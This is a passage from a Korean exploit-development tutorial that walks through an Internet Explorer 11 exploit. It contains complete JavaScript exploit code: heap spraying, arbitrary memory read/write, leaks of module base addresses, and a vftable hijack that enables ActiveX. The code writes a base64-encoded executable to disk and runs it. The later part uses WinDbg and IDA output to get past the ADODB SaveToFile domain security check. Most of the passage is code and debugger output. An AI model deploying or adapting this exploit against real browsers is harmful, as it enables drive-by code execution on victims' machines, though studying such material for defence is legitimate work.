179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
<html>
<head>
<script language="javascript">
  (function() {
    alert("Starting!");
 
    //-----------------------------------------------------
    // From one-byte-write to full process space read/write
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte ArrayBuffer (buf)
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    for (i = 0; i < 0x300++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x100)
        buf = new ArrayBuffer(0x58);      // must be exactly 0x58!
      for (j = 0; j < a[i].length++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead
    //   0x20:  array[0] address
    //   0x24:  array[1] address
    //   ...
    // 0xf000:  Int32Array
    // 0xf030:  Int32Array
    //   ...
    // 0xffc0:  Int32Array
    // 0xfff0:  align data
    for (; i < 0x300 + 0x400++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //            vftptr
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf
    alert("Set byte at 0c0af01b to 0x20");
    
    // Now let's find the Int32Array whose length we modified.
    int32array = 0;
    for (i = 0x300; i < 0x300 + 0x400++i) {
      for (j = 0; j < 0x55++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
      alert("Can't find int32array!");
      window.location.reload();
      return;
    }
 
    // This is just an example.
    // The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
    // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
    // The value in parentheses, at 03c1f178+0x60+0x24, points to the following
    // LargeHeapBlock.
    //
    // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
    // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
    // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
    // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
    // 03c1f238: ...
 
    // We check that the structure above is correct (we check the first LargeHeapBlocks).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60/4],
        vftptr2 = int32array[0x60*2/4],
        vftptr3 = int32array[0x60*3/4],
        nextPtr1 = int32array[(0x60+0x24)/4],
        nextPtr2 = int32array[(0x60*2+0x24)/4],
        nextPtr3 = int32array[(0x60*3+0x24)/4];
    if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*2;
    
    // Now we modify int32array again to gain full address space read/write access.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4!= buf_addr) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4= 0x20000000;        // new length
    int32array[(0x0c0af000+0x1c - buf_addr)/4= 0;                 // new buffer address
 
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... or ..## ##.. or ...# ###.
        return (int32array[(address-k)/4>> k*8|
               (int32array[(address-k+4)/4<< (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4= value;
      }
      else {
        // .### #... or ..## ##.. or ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8- 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4= low;
        int32array[(address-k+4)/4= high;
      }
    }
    
    //---------
    // God mode
    //---------
    
    // At 0c0af000 we can read the vfptr of an Int32Array:
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
    jscript9 = read(0x0c0af000- 0x3b60;
    
    // Now we need to determine the base address of MSHTML. We can create an HTML
    // object and write its reference to the address 0x0c0af000-4 which corresponds
    // to the last element of one of our arrays.
    // Let's find the array at 0x0c0af000-4.
    
    for (i = 0x200; i < 0x200 + 0x400++i)
      a[i][0x3bf7= 0;
    
    // We write 3 in the last position of one of our arrays. IE encodes the number x
    // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
    // Either we use an odd number or a valid address otherwise IE will crash in the
    // following for loop.
    write(0x0c0af000-43);
 
    leakArray = 0;
    for (i = 0x200; i < 0x200 + 0x400++i) {
      if (a[i][0x3bf7!= 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
      leakArray[0x3bf7= obj;
      return read(0x0c0af000-4, obj);
    }
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    mshtml = read(addr + 0x10- 0x58b9a;
 
    //                                                  vftable
    //                                    +-----> +------------------+
    //                                    |       |                  |
    //                                    |       |                  |
    //                                    |  0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 |
    //                                    |       |                  |      MOV EAX,ESI | POP ESI | RETN"
    //                                    |  0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4"
    //                                    |       +------------------+
    //                 object             |
    // EAX ---> +-------------------+     |
    //          | vftptr            |-----+
    //          | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN"
    //          | jscript9+0xf3baf  | --> "XCHG EAX,EDI | RETN"
    //          | jscript9+0xdc361  | --> "LEAVE | RET 4"
    //          +-------------------+
 
    var old = read(mshtml+0xc555e0+0x14);
 
    write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God Mode On!
    var shell = new ActiveXObject("WScript.shell");
    write(mshtml+0xc555e0+0x14, old);                   // God Mode Off!
 
    addr = get_addr(ActiveXObject);
    var pp_obj = read(read(addr + 0x28+ 4+ 0x1f0;       // ptr to ptr to object
    
    var old_objptr = read(pp_obj);
    var old_vftptr = read(old_objptr);
    
    // Create the new vftable.
    var new_vftable = new Int32Array(0x708/4);
    for (var i = 0; i < new_vftable.length++i)
      new_vftable[i] = read(old_vftptr + i*4);
    new_vftable[0x10/4= jscript9+0x10705e;
    new_vftable[0x14/4= jscript9+0xdc164;
    var new_vftptr = read(get_addr(new_vftable) + 0x1c);        // ptr to raw buffer of new_vftable
    
    // Create the new object.
    var new_object = new Int32Array(4);
    new_object[0= new_vftptr;
    new_object[1= jscript9 + 0x15f800;
    new_object[2= jscript9 + 0xf3baf;
    new_object[3= jscript9 + 0xdc361;
    var new_objptr = read(get_addr(new_object) + 0x1c);         // ptr to raw buffer of new_object
    
    function GodModeOn() {
      write(pp_obj, new_objptr);
    }
    
    function GodModeOff() {
      write(pp_obj, old_objptr);
    }
    
    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      bStream.SaveToFile(fname, 2);       // 2 = overwrites file if it already exists
      tStream.Close();
      bStream.Close();
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
      
       // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }
 
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    createExe(fname, decode(runcalc));
    shell.Exec(fname);
 
    alert("All done!");
  })();
 
</script>
</head>
<body>
</body>
</html>
 
cs


runcalc를 생략했는데 아래 링크에서 다운 받으시면 됩니다.

  • http://expdev-kiuhnm.rhcloud.com/wp-content/uploads/2015/05/code2.zip




크로스 도메인 (Cross Domains)


아래는 에러를 발생시키는 코드 중 하나입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function createExe(fname, data) {
  GodModeOn();
  var tStream = new ActiveXObject("ADODB.Stream");
  var bStream = new ActiveXObject("ADODB.Stream");
  GodModeOff();
  
  tStream.Type = 2;       // text
  bStream.Type = 1;       // binary
  tStream.Open();
  bStream.Open();
  tStream.WriteText(data);
  tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
  tStream.CopyTo(bStream);
  bStream.SaveToFile(fname, 2);       <----------------------------- error here
  tStream.Close();
  bStream.Close();
}
cs


에러 메시지는 “SCRIPT3716: Safety setting on this computer prohibit accessing a data source on another domain.” 입니다. 따라서, 페이지를 SimpleServer를 이용하여 다시 불러오고 Int32Array 크기를 변경하여 코드에서 에러를 발생시킵니다. 그러면 몇몇 추가적인 모듈이 불려진 것을 볼 수 있습니다.


ModLoad: 0eb50000 0eb71000   C:\Windows\SysWOW64\wshom.ocx

ModLoad: 749d0000 749e2000   C:\Windows\SysWOW64\MPR.dll

ModLoad: 0eb80000 0ebaa000   C:\Windows\SysWOW64\ScrRun.dll

ModLoad: 0ebb0000 0ec0f000   C:\Windows\SysWOW64\SXS.DLL

ModLoad: 6e330000 6e429000   C:\Program Files (x86)\Common Files\System\ado\msado15.dll   <-------------

ModLoad: 72f00000 72f1f000   C:\Windows\SysWOW64\MSDART.DLL

ModLoad: 6e570000 6e644000   C:\Program Files (x86)\Common Files\System\Ole DB\oledb32.dll

ModLoad: 74700000 74717000   C:\Windows\SysWOW64\bcrypt.dll

ModLoad: 72150000 72164000   C:\Program Files (x86)\Common Files\System\Ole DB\OLEDB32R.DLL

ModLoad: 738c0000 738c2000   C:\Program Files (x86)\Common Files\System\ado\msader15.dll   <-------------

(15bc.398): C++ EH exception - code e06d7363 (first chance)

(15bc.398): C++ EH exception - code e06d7363 (first chance)


특히 2개의 모듈이 흥미롭습니다. msado15.dll, msader15.dll. 이들은 ado 디렉토리에 있는 모듈들 입니다. 이는 ADODB와 관련된 모듈들 입니다.

 

2개의 모듈 중 한개에서 SaveToFile 이름을 찾는 함수를 찾아보도록 합니다.


0:004> x msad*!*savetofile*

6e3e9ded          msado15!CStream::SaveToFile (<no parameter info>)

6e3ccf19          msado15!CRecordset::SaveToFile (<no parameter info>)


첫 번째 함수가 우리가 찾는 함수 인것 같습니다. 여기에 breakpoint를 설정하고 다시 페이지를 불러옵니다. 그러면 실행이 msado15!CStream::SaveToFile에서 멈추게 됩니다. 함수 이름에서 유추해보면 이는 C++로 제작되었고 SaveToFile CStream 클래스의 메소드임을 알 수 있습니다. ESI는 클래스의 객체를 가리키고 있습니다.


0:007> dd esi

0edbb328  6e36fd28 6e36fd00 6e36fcf0 6e33acd8

0edbb338  00000004 00000000 00000000 00000000

0edbb348  00000000 00000000 00000000 6e36fce0

0edbb358  6e33acc0 6e36fccc 00000000 00000904

0edbb368  00000001 04e4c2bc 00000000 6e36fc94

0edbb378  0edbb3b8 00000000 0edbb490 00000000

0edbb388  00000001 ffffffff 00000000 00000000

0edbb398  00000007 000004b0 00000000 00000000

0:007> ln poi(esi)

(6e36fd28)   msado15!ATL::CComObject<CStream>::`vftable'   |  (6e36fdb8)   msado15!`CStream::_GetEntries'::`2'::_entries

Exact matches:

    msado15!ATL::CComObject<CStream>::`vftable' = <no type information>


보아하니 잘 추적한 것 같습니다.

 

이제 SaveToFile을 통해 어디서 실패하는지 찾아보도록 하겠습니다. 추적하는 도중 우연히 흥미로운 호출을 발견하였습니다.


6e3ea0a9 0f8496000000    je      msado15!CStream::SaveToFile+0x358 (6e3ea145)

6e3ea0af 50              push    eax

6e3ea0b0 53              push    ebx

6e3ea0b1 e88f940000      call    msado15!SecurityCheck (6e3f3545)     <-------------------

6e3ea0b6 83c408          add     esp,8

6e3ea0b9 85c0            test    eax,eax

6e3ea0bb 0f8d84000000    jge     msado15!CStream::SaveToFile+0x358 (6e3ea145)


SecurityCheck 2개의 매개 변수를 받습니다. 먼저 첫 번째부터 확인해보도록 하겠습니다.


0:007> dd eax

04e4c2bc  00740068 00700074 002f003a 0031002f

04e4c2cc  00370032 0030002e 0030002e 0031002e

04e4c2dc  0000002f 00650067 00000000 6ff81c09

04e4c2ec  8c000000 000000e4 00000000 00000000

04e4c2fc  0024d46c 0024d46c 0024cff4 00000013

04e4c30c  00000000 0000ffff 0c000001 00000000

04e4c31c  00000000 6ff81c30 88000000 00000001

04e4c32c  0024eee4 00000000 6d74682f 61202c6c

... 유니코드 문자열인 것 같습니다. 다시 살펴 보면 다음과 같습니다.


0:007> du eax

04e4c2bc  "http://127.0.0.1/"


이것은 페이지의 URL 입니다! 그러면 ebx은 무었일까요?


0:007> dd ebx

001d30c4  003a0043 0055005c 00650073 00730072

001d30d4  0067005c 006e0061 00610064 0066006c

001d30e4  0041005c 00700070 00610044 00610074

001d30f4  004c005c 0063006f 006c0061 0054005c

001d3104  006d0065 005c0070 006f004c 005c0077

001d3114  00750072 0063006e 006c0061 002e0063

001d3124  00780065 00000065 00000000 00000000

001d3134  40080008 00000101 0075006f 00630072

0:007> du ebx

001d30c4  "C:\Users\gandalf\AppData\Local\T"

001d3104  "emp\Low\runcalc.exe"


이는 우리가 생성할 파일의 전체 경로입니다. 2개의 URL과 경로가 domain 에러 메시지와 관련이 있을까요? 아마 2개의 domainhttp://127.0.0.1 C:\ 입니다.

 

아마도, SecurityCheck 2개의 인자가 같은 domain인지 확인 하는 것 같습니다.

 

첫 번째 매개 변수를 수정하면 어떤일이 일어나는지 확인해보도록 하겠습니다.


0:007> ezu @eax "C:\\"

0:007> du @eax

04e4c2bc  "C:\"


명령어 ezu (e)dit a (z)ero-terminated (u)nicode string 할 때 사용됩니다. 이제 두 번째 인자를 변경하고 실행을 재개 하여 어떤일이 일어나는지 보도록 합시다.

 

계산기가 떳습니다!! 예아!!

 

이제 이와 동일한 역할을 하는 것을 자바스크립트로 구현해야 합니다. 가능할까요? 가장 좋은 방법은 IDA msado15.dll을 디스어셈블하여 찾는 것 입니다. IDA에서 SecurityCheck (CTRL + P) 함수를 검색하고 SecurityCheck을 클릭한 뒤, CTRL + X를 누르고 CStream::SaveToFile을 더블클릭 합니다. SaveToFile 함수는 엄청 크긴 하지만 너무 걱정은 하지 맙시다. 우리는 여기서 작은 부분만을 분석해보도록 하죠. 두 번째 인자부터 시작해보도록 하겠습니다.



보시다시피, EAX [ESI + 44h]에서 오는 것을 볼 수 있습니다. ESI this 포인터로써, 현재CStream 객체를 가리키고 있지만 확실하게 해보도록 하겠습니다. 그래프를 좀더 편한하게 분석하기 위해, SecurityCheck을 호출하는 노드들을 모두 묶었습니다. 이를 위해 CTRL을 누른채로 마우스 휠로 줌 아웃을 하고 CTRL을 누른채로 마우스 왼쪽버튼으로 노드들을 선택한 뒤, 마우스 오른쪽 버튼을 눌러 Group nodes를 선택합니다. 아래는 축약된 그래프 입니다.



이를 통해 ESI가 명백히 this 포인터 임을 확인했습니다. 이게 좋은 이유는 자바스크립트에서 bStream 변수가 아마 같은 객체를 가리키고 있기 때문입니다. 우리가 맞는지 확인해보도록 하겠습니다. 이를 위해 자바스크립트 코드 수정을 통해 bStream을 노출시키도록 하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function createExe(fname, data) {
  GodModeOn();
  var tStream = new ActiveXObject("ADODB.Stream");
  var bStream = new ActiveXObject("ADODB.Stream");
  GodModeOff();
  
  tStream.Type = 2;       // text
  bStream.Type = 1;       // binary
  tStream.Open();
  bStream.Open();
  tStream.WriteText(data);
  tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
  tStream.CopyTo(bStream);
  alert(get_addr(bStream).toString(16));        // <-----------------------------
  bStream.SaveToFile(fname, 2);       // 2 = overwrites file if it already exists
  tStream.Close();
  bStream.Close();
}
cs


SimpleServer를 이용하여 IE에서 페이지를 불러오고 WinDbg에서 SaveToFile breakpoint를 설정합니다


bm msado15!CStream::SaveToFile


알림창에 bStream의 주소가 뜨게 됩니다. 제 경우에는 주소가 0x3663f40 입니다. 알림창을 닫으면 breakpoint가 실행됩니다. CStream의 주소가 ESI인데 제 경우에는 0xe8cb328 입니다. 메모리 주소 0x3663f40 (bStream)을 조사해보도록 합시다.


0:007> dd 3663f40h

03663f40  71bb34c8 0e069a00 00000000 0e5db030

03663f50  05a30f50 03663f14 032fafd4 00000000

03663f60  71c69a44 00000008 00000009 00000000

03663f70  0e8cb248 00000000 00000000 00000000

03663f80  71c69a44 00000008 00000009 00000000

03663f90  0e8cb328 00000000 00000000 00000000    <------------- ptr to CStream!

03663fa0  71c69a44 00000008 00000009 00000000

03663fb0  0e8cb248 00000000 00000000 00000000


오프셋 0x50을 보시면 msado15.dll에서 SaveToFile 메소드가 호출되는 CStream 객체 포인터를 갖음을 볼 수 있습니다. 우리가 수정해야 할 문자열 http://127.0.0.1에 도달하는지 확인해보도록 합시다.


0:007> ? poi(3663f40+50)

Evaluate expression: 244101928 = 0e8cb328

0:007> du poi(0e8cb328+44)

04e5ff14  "http://127.0.0.1/"


완벽하군요!

 

이제 우리가 원본 문자열에 써야할 정확한 바이트를 결정해야 합니다. 이를 위한 간단한 방식은 다음과 같습니다.


0:007> ezu 04e5ff14 "C:\\"

0:007> dd 04e5ff14

04e5ff14  003a0043 0000005c 002f003a 0031002f

04e5ff24  00370032 0030002e 0030002e 0031002e

04e5ff34  0000002f 00000000 00000000 58e7b7b9

04e5ff44  8e000000 00000000 bf26faff 001a8001

04e5ff54  00784700 00440041 0044004f 002e0042

04e5ff64  00740053 00650072 006d0061 df6c0000

04e5ff74  0000027d 58e7b7be 8c000000 00000000

04e5ff84  00c6d95d 001c8001 00784300 00530057


따라서, 우리는 문자열을 003a0043 0000005c로 덮어 써야 합니다.

 

수정된 코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function createExe(fname, data) {
  GodModeOn();
  var tStream = new ActiveXObject("ADODB.Stream");
  var bStream = new ActiveXObject("ADODB.Stream");
  GodModeOff();
  
  tStream.Type = 2;       // text
  bStream.Type = 1;       // binary
  tStream.Open();
  bStream.Open();
  tStream.WriteText(data);
  tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
  tStream.CopyTo(bStream);
  
  var bStream_addr = get_addr(bStream);
  var string_addr = read(read(bStream_addr + 0x50+ 0x44);
  write(string_addr, 0x003a0043);       // 'C:'
  write(string_addr + 40x0000005c);   // '\'
  bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
  
  tStream.Close();
  bStream.Close();
}
cs


IE에서 페이지를 다시 불러오면 마침내 모든것이 정상적으로 동작합니다!

 

편의를 위해 완성된 코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
<html>
<head>
<script language="javascript">
  (function() {
    alert("Starting!");
    
    CollectGarbage();
 
    //-----------------------------------------------------
    // From one-byte-write to full process space read/write
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte ArrayBuffer (buf)
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    for (i = 0; i < 0x300++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x100)
        buf = new ArrayBuffer(0x58);      // must be exactly 0x58!
      for (j = 0; j < a[i].length++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead
    //   0x20:  array[0] address
    //   0x24:  array[1] address
    //   ...
    // 0xf000:  Int32Array
    // 0xf030:  Int32Array
    //   ...
    // 0xffc0:  Int32Array
    // 0xfff0:  align data
    for (; i < 0x300 + 0x400++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //            vftptr
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf
    alert("Set byte at 0c0af01b to 0x20");
    
    // Now let's find the Int32Array whose length we modified.
    int32array = 0;
    for (i = 0x300; i < 0x300 + 0x400++i) {
      for (j = 0; j < 0x55++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
      alert("Can't find int32array!");
      window.location.reload();
      return;
    }
 
    // This is just an example.
    // The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
    // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
    // The value in parentheses, at 03c1f178+0x60+0x24, points to the following
    // LargeHeapBlock.
    //
    // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
    // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
    // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
    // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
    // 03c1f238: ...
 
    // We check that the structure above is correct (we check the first LargeHeapBlocks).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60/4],
        vftptr2 = int32array[0x60*2/4],
        vftptr3 = int32array[0x60*3/4],
        nextPtr1 = int32array[(0x60+0x24)/4],
        nextPtr2 = int32array[(0x60*2+0x24)/4],
        nextPtr3 = int32array[(0x60*3+0x24)/4];
    if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*2;
    
    // Now we modify int32array again to gain full address space read/write access.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4!= buf_addr) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4= 0x20000000;        // new length
    int32array[(0x0c0af000+0x1c - buf_addr)/4= 0;                 // new buffer address
 
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... or ..## ##.. or ...# ###.
        return (int32array[(address-k)/4>> k*8|
               (int32array[(address-k+4)/4<< (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4= value;
      }
      else {
        // .### #... or ..## ##.. or ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8- 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4= low;
        int32array[(address-k+4)/4= high;
      }
    }
    
    //---------
    // God mode
    //---------
    
    // At 0c0af000 we can read the vfptr of an Int32Array:
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
    jscript9 = read(0x0c0af000- 0x3b60;
    
    // Now we need to determine the base address of MSHTML. We can create an HTML
    // object and write its reference to the address 0x0c0af000-4 which corresponds
    // to the last element of one of our arrays.
    // Let's find the array at 0x0c0af000-4.
    
    for (i = 0x200; i < 0x200 + 0x400++i)
      a[i][0x3bf7= 0;
    
    // We write 3 in the last position of one of our arrays. IE encodes the number x
    // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
    // Either we use an odd number or a valid address otherwise IE will crash in the
    // following for loop.
    write(0x0c0af000-43);
 
    leakArray = 0;
    for (i = 0x200; i < 0x200 + 0x400++i) {
      if (a[i][0x3bf7!= 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
      leakArray[0x3bf7= obj;
      return read(0x0c0af000-4, obj);
    }
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    mshtml = read(addr + 0x10- 0x58b9a;
 
    //                                                  vftable
    //                                    +-----> +------------------+
    //                                    |       |                  |
    //                                    |       |                  |
    //                                    |  0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 |
    //                                    |       |                  |      MOV EAX,ESI | POP ESI | RETN"
    //                                    |  0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4"
    //                                    |       +------------------+
    //                 object             |
    // EAX ---> +-------------------+     |
    //          | vftptr            |-----+
    //          | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN"
    //          | jscript9+0xf3baf  | --> "XCHG EAX,EDI | RETN"
    //          | jscript9+0xdc361  | --> "LEAVE | RET 4"
    //          +-------------------+
 
    var old = read(mshtml+0xc555e0+0x14);
 
    write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God Mode On!
    var shell = new ActiveXObject("WScript.shell");
    write(mshtml+0xc555e0+0x14, old);                   // God Mode Off!
 
    addr = get_addr(ActiveXObject);
    var pp_obj = read(read(addr + 0x28+ 4+ 0x1f0;       // ptr to ptr to object
    
    var old_objptr = read(pp_obj);
    var old_vftptr = read(old_objptr);
    
    // Create the new vftable.
    var new_vftable = new Int32Array(0x708/4);
    for (var i = 0; i < new_vftable.length++i)
      new_vftable[i] = read(old_vftptr + i*4);
    new_vftable[0x10/4= jscript9+0x10705e;
    new_vftable[0x14/4= jscript9+0xdc164;
    var new_vftptr = read(get_addr(new_vftable) + 0x1c);        // ptr to raw buffer of new_vftable
    
    // Create the new object.
    var new_object = new Int32Array(4);
    new_object[0= new_vftptr;
    new_object[1= jscript9 + 0x15f800;
    new_object[2= jscript9 + 0xf3baf;
    new_object[3= jscript9 + 0xdc361;
    var new_objptr = read(get_addr(new_object) + 0x1c);         // ptr to raw buffer of new_object
    
    function GodModeOn() {
      write(pp_obj, new_objptr);
    }
    
    function GodModeOff() {
      write(pp_obj, old_objptr);
    }
    
    // content of exe file encoded in base64.
